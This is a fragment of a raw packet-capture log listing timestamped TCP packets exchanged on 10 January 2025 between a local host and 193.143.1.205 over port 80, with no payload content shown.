Jan 10, 2025 21:17:35.018285990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.031882048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031892061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031913042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031919956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031936884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031960964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.031980038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.031991959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.031996965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032006025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032023907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032041073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032047033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032071114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032073021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032080889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032094002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032116890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032136917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032144070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032155991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032162905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032187939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032217026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032371998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032512903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032520056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032531977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032537937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032543898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032571077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032658100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032674074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032685995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032691956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032706976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032711983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032713890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032720089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032735109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032738924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032740116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032763004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.032942057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032987118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.032999039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033018112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033025980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033034086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033041000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033052921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033086061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033261061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033267975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033281088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033305883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033307076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033313990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033327103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033358097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033396006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033402920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033412933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033421993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033428907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033435106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033448935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033462048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033462048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033870935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033878088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033891916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033907890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033917904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033929110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033936977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033947945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033956051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.033963919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.033972025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034008026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034123898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034140110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034151077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034166098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034172058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034178019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034183025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034193993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034194946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034202099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034209967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034212112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034218073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034224033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034233093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034239054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034246922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.034279108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.034312010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042306900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042315960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042337894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042342901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042355061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042361975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042375088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042382002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042404890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042422056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042428970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042435884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042442083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042443991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042468071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042494059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042515039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042522907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042535067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042541981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.042561054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.042851925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.085771084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085789919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085802078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085813046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085827112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085833073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085839987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085855007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085866928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085872889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085885048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085890055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085896015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.085896969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.086257935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.086460114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.086564064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.100882053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100891113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100903034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100908041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100914955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100920916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100935936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.100944042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.101497889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.116889000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.116913080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.116924047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.116930008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.116981030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.116987944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.117001057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.117014885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.117043972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126600027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126614094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126631975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126636982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126648903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126655102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126662016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126672983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126686096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126692057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126693010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126702070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126717091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126754999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126760960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126766920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126771927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126780033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126786947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126816988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126889944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126895905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126908064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126913071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126918077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126924038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126931906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126931906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.126936913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126944065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126950026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126962900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.126967907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127003908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127019882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127103090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127109051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127120972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127125978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127134085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127151012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127177000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127183914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127191067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127197027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127202034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127206087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127207041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127216101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127227068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127269983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127331972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127338886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127350092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127355099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127360106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127382040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127387047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127388954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127396107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127401114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127407074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127413988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127419949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127427101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127433062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127439022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.127444029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127449989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127474070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127521038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.127968073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128038883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128043890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128050089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128055096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128062010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128094912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128101110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128119946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128125906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128137112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128143072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.128146887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.128146887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.128146887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.128201008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.128201008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135473013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135481119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135493994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135499001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135507107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135555029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135586977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135617018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135626078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135632992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135647058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135677099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135859966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135874033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135879993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135885954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135891914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135896921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135905027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135907888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135942936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.135966063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135971069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.135998011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.136009932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.289180994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294135094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294145107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294203997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294210911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294296026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294296026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294316053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294323921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294333935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294339895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294346094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294353008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294370890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294485092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294491053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294502974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294507980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294517994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294518948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294524908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294531107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294538021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294538975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294544935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294562101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294586897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294593096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294604063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294610023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294614077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294616938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294625044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294636965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294644117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294646978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294672966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294718981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294724941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294737101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294742107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294749022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294759989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294769049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294769049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294795990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294826031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294869900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294883966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294893980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294899940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294910908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294917107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294923067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294926882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.294929981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294945002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.294965982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295010090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295016050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295027018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295032978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295038939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295038939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295048952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295059919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295066118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.295068026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.295073032 CET	80	49704	193.143.1.205	192.168.2.5
